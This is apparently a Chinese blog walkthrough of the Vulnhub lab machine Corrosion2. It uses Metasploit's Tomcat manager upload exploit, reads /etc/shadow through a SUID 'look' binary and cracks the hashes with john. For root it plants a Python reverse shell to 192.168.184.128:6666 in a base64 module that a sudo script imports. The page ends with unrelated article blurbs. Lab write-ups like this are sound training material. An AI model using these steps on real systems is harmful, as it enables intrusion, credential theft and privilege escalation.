Corrosion2实战渗透(二)

简介: Corrosion2实战渗透
使用改模块
use 3


image.png


set HttpPassword melehifokivai
set Httpusername manager
set rhosts 192.168.43.4   
set rport 8080
msf6 exploit(multi/http/tomcat_mgr_upload) > show options
run


image.png


如下图所示成功反弹,获取shell


shell
whoami
uid


image.png


切换用户 jaye 的 shell
进入 meterpreter shell
使用 python 切换 bash
python3 -c 'import pty; pty.spawn("/bin/bash")'


image.png

cd /home
ls
发现两个用户名


image.png


cd /home/randy
ls -la
发现一些文件
cat note.txt


打开note.txt查看

嘿,兰迪,我是你的系统管理员,希望你有美好的一天!我只是想让你知道我更改了你主目录的权限。目前还不能删除或添加文件。


第一个flag,打开user.txt查看

cat user.txt
ca73a018ae6908a7d0ea5d1c269ba4b6


image.png


由于randy目录下面的文件不能修改,一些关键文件也无法查看,切换到其他用户目录看看

su jaye
melehifokivai   //密码,还是tomcat的密码
成功进入


image.png


查看etc/passwd文件


cat /etc/passwd


image.png


可以使用ssh登录


ssh @192.168.43.4
yes
melehifokivai 


image.png


id
whoami
pwn
ls -la


image.png



发现一些文件,查看files文件夹下面的look文件


cd Files
ls -la
cat look
file look
which look


image.png



是系统的look命令,look命令可以越权访问

https://gtfobins.github.io/gtfobins/look/),


cat /etc/passwd
LFILE=/etc/passwd
./look '' "$LFILE"


image.png


 

将/etc/shadow文件复制下来

注意:这里也可以直接查看flag。    ——  —— >>>>         ./look '' /root/root.txt

将/etc/passwd文件复制下来


image.png


将以上两个文件保存到本地


vim passwd
vim shadow
unshadow passwd shadow > pssword.txt
爆破
john --wordlist=/usr/share/wordlists/rockyou.txt ./password.txt 


image.png


破解出第一个账号密码(若干小时.........)


melehifokivai    (jaye)


image.png


破解出第二个账号密码(若干小时..........)

07051986randy (randy)


image.png


第二个flag


第一个账号已经找到相关内容,现在登录第二个账号

su randy
07051986randy
登录成功,进入账号


image.png


cd ..
ls
cd randy
ls -la


image.png

sudo -l
07051986randy


image.png


secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binl:/snap/bin用户randy可以执行以下命令:(root) PASSWD: /usr/bin/python3.8 /home/randy/randombase64.py


secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binl:/snap/bin用户randy可以执行以下命令:(root) PASSWD: /usr/bin/python3.8 /home/randy/randombase64.py


secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binl:/snap/bin用户randy可以执行以下命令:(root) PASSWD: /usr/bin/python3.8 /home/randy/randombase64.py


image.png


root会执行该文件,并且引用了base64模块


image.png


打开查看base64模块


cd /usr/bin/python3.8
ls -la base64.py
vi base64.py


image.png


插入以下shell     参考以下大佬博客

https://blog.csdn.net/Perpetual_Blue/article/details/124245059?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_title~default-0-124245059-blog-122969392.pc_relevant_aa&spm=1001.2101.3001.4242.1&utm_relevant_index=3书签:靶机渗透练习37-Corrosion2_hirak0的博客-CSDN博客


import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.184.128",6666));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
import pty;
pty.spawn("/bin/bash")


image.png


命令行模式下执行:
set nobackup
set nowritebackup
set noswapfile
wq

在被攻击机上执行命令:sudo /usr/bin/python3.8 /home/randy/randombase64.py输入密码:07051986randy

执行之后,可以看到 nc 反弹 shell 成功,为 root 权限

网络图片:https://ucc.alicdn.com/images/user-upload-01/img_convert/e949a09c35c899402e11eb34f80fcb19.png


2fdbf8d4f894292361d6c72c8e833a4b


方法二:利用./look获取flag


ssh jaye@192.168.43.4                                               
jaye@192.168.43.4's password: 
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.11.0-34-generic x86_64)
......
$ pwd
/home/jaye
$ cd ..
$ ls
jaye  randy
$ cd ~
$ ls -la
total 92
drwxr-x--x 18 jaye jaye 4096 Aug  2 23:38 .
drwxr-xr-x  4 root root 4096 Sep 17  2021 ..
-rw-r--r--  1 root root    0 Sep 17  2021 .bash_history
-rw-r--r--  1 jaye jaye  220 Feb 25  2020 .bash_logout
-rw-r--r--  1 jaye jaye 3771 Feb 25  2020 .bashrc
drwx------ 12 jaye jaye 4096 Sep 17  2021 .cache
drwx------ 11 jaye jaye 4096 Sep 17  2021 .config
drwxr-xr-x  2 jaye jaye 4096 Sep 17  2021 Desktop
drwxr-xr-x  2 jaye jaye 4096 Sep 17  2021 Documents
drwxr-xr-x  2 jaye jaye 4096 Sep 17  2021 Downloads
drwxr-xr-x  2 root root 4096 Sep 17  2021 Files
drwx------  3 jaye jaye 4096 Sep 17  2021 .gnupg
drwxr-xr-x  3 jaye jaye 4096 Sep 17  2021 .local
drwx------  5 jaye jaye 4096 Sep 17  2021 .mozilla
drwxr-xr-x  2 jaye jaye 4096 Sep 17  2021 Music
-rw-rw-r--  1 jaye jaye 2929 Aug  2 23:35 passwd
drwxr-xr-x  2 jaye jaye 4096 Sep 17  2021 Pictures
-rw-r--r--  1 jaye jaye  807 Feb 25  2020 .profile
drwxr-xr-x  2 jaye jaye 4096 Sep 17  2021 Public
-rw-rw-r--  1 jaye jaye 1827 Aug  2 23:37 shadow
drwxr-xr-x  3 jaye jaye 4096 Sep 17  2021 snap
drwx------  2 jaye jaye 4096 Sep 17  2021 .ssh
drwxr-xr-x  2 jaye jaye 4096 Sep 17  2021 Templates
-rw-rw-r--  1 jaye jaye    0 Aug  2 23:38 userpass.txt
drwxr-xr-x  2 jaye jaye 4096 Sep 17  2021 Videos
$ cd Files
$ ls -la
total 24
drwxr-xr-x  2 root root  4096 Sep 17  2021 .
drwxr-x--x 18 jaye jaye  4096 Aug  2 23:38 ..
---s--s--x  1 root root 14728 Sep 17  2021 look
./look '' '/root/root.txt'


image.png

image.png

image.png


总结:


前期渗透思路和一般的方式一样,都是主机发现,端口扫描,更具端口查看服务

探测端口下面的目录  80    8080

8080下面发现突破点文件  

解压破解获得tomcat账号密码

tomcat登录上传war包反弹失败

使用msf下面的tomcat上传漏洞获取shell

查看文件  发现两个账号

登录randy    发现第一个flag

破解第二个账号密码

登录提权  获取第二个flag


相关文章
|
安全 Shell 网络安全
基于Vulnhub靶场—DC4渗透测试过程
Vulhub是一个开源项目,专注于安全漏洞的复现和学习。包括Web应用、容器和操作系统漏洞。项目特点包括丰富的漏洞场景、详细的复现指南、便捷的环境部署和持续更新。通过Vulhub,安全从业者可以学习和研究漏洞利用技术。此外,文章还介绍了如何下载和搭建Vulhub靶机DC-4,并详细描述了利用Burp Suite进行密码爆破和命令执行,最终获取root权限的过程。
992 0
|
6月前
|
Linux Python
centos 编译安装 python 和 openssl
centos 编译安装 python 和 openssl
335 2
|
6月前
|
网络协议 Unix Linux
# 2个类轻松构建高效Socket通信库
本文介绍了一种通过两个类`EpollEventHandler`和`IEpollEvent`构建高效Socket通信库的方法。该库支持TCP、UDP和Unix域套接字,采用I/O多路复用技术(如epoll),提升并发处理能力。通过抽象基类和具体事件类的设计,简化了API使用,便于开发者快速上手。文章还提供了服务端与客户端的实例代码,展示其在实际项目中的应用效果。此Socket库适应嵌入式环境,功能定制性强,有助于减少外部依赖并提升维护效率。
153 99
# 2个类轻松构建高效Socket通信库
|
6月前
|
存储 JSON 数据库
HarmonyOS Next 端云一体化(2)
本文介绍了HarmonyOS云数据库端云一体化中的数据库操作流程。首先创建名为“Study”的存储区,并在DevEco Studio中配置信息;接着定义对象类型,以“Book”为例,详细说明objectTypeName、fields、indexes和permissions的设置规则;然后通过JSON文件添加数据条目,配置cloudDBZoneName和objects字段;最后将本地数据库部署至AGC平台并刷新数据。全文涵盖存储区创建、对象类型定义、数据操作及云端部署等核心步骤,为端云协同开发奠定基础。
157 5
HarmonyOS Next 端云一体化(2)
GitHub星标4000!清华大牛的CTF竞赛入门指南,真的太香了!
想进入网络安全行业、实现从学校到职场的跨越,参加CTF竞赛是很好的成长途径。 通俗而言,CTF是模拟“黑客”所使用的技术、工具、方法等手段发展出来的网络安全竞赛,有了手段之后需要的就是经验与黑客感(HackorFeel)。 CTF赛题涉及的领域很广,市面上也早有在知识广度上均有所覆盖的CTF书籍,但没有深入单一领域的内容,尤其是Pwn方向的。 Pwn是网络安全攻防最有魅力的部分,对于原教旨攻防人士来说,Pwm才是原汁原味的技术体现。二进制Pwn一直是CTF比赛的热点和难点。
|
算法 数据挖掘 vr&ar
基于ESTAR指数平滑转换自回归模型的CPI数据统计分析matlab仿真
该程序基于ESTAR指数平滑转换自回归模型,对CPI数据进行统计分析与MATLAB仿真,主要利用M-ESTAR模型计算WNL值、P值、Q值及12阶ARCH值。ESTAR模型结合指数平滑与状态转换自回归,适用于处理经济数据中的非线性趋势变化。在MATLAB 2022a版本中运行并通过ADF检验验证模型的平稳性,适用于复杂的高阶自回归模型。
|
安全 Shell 网络安全
基于Vulnhub靶场之DC-3渗透测试过程
Vulhub靶场介绍: [Vulhub](https://vulhub.org/) 是一个专注于安全漏洞复现和学习的开源项目。它提供了各种常见漏洞的复现环境,帮助网络安全从业者学习和研究漏洞利用技术。这些环境涵盖了Web应用、容器和操作系统等多个领域。Vulhub 的特点包括: 1. **丰富的漏洞场景**:覆盖多种常见的漏洞,如SQL注入、XSS等。 2. **详细复现指南**:为每个漏洞场景提供详细的环境搭建和利用步骤,便于学习和实践。 3. **易于使用**:提供一键部署或Docker镜像,简化环境搭建过程 4. **持续更新与维护**:项目在GitHub上开源,不断接收社区的贡献和更新
514 0
|
XML 机器人 中间件
顶顶通呼叫中心中间件(mod_cti基于FreeSWITCH)-http cli 接口
http cli的原理是cti模块实现了一个http server 接收http get请求,执行FreeSWITCH命令后把执行结果返回给http client,常用的使用场景包含http接口实现挂断指定的通话,http接口实现点击拨号(先呼叫坐席电话,座席接听后再呼叫客户电话),以及监听,强插,转接电话等功能。
458 101
|
SQL 安全 Shell
看完这篇 教你玩转渗透测试靶机vulnhub——DC3
看完这篇 教你玩转渗透测试靶机vulnhub——DC3
585 0
|
安全 网络协议 Shell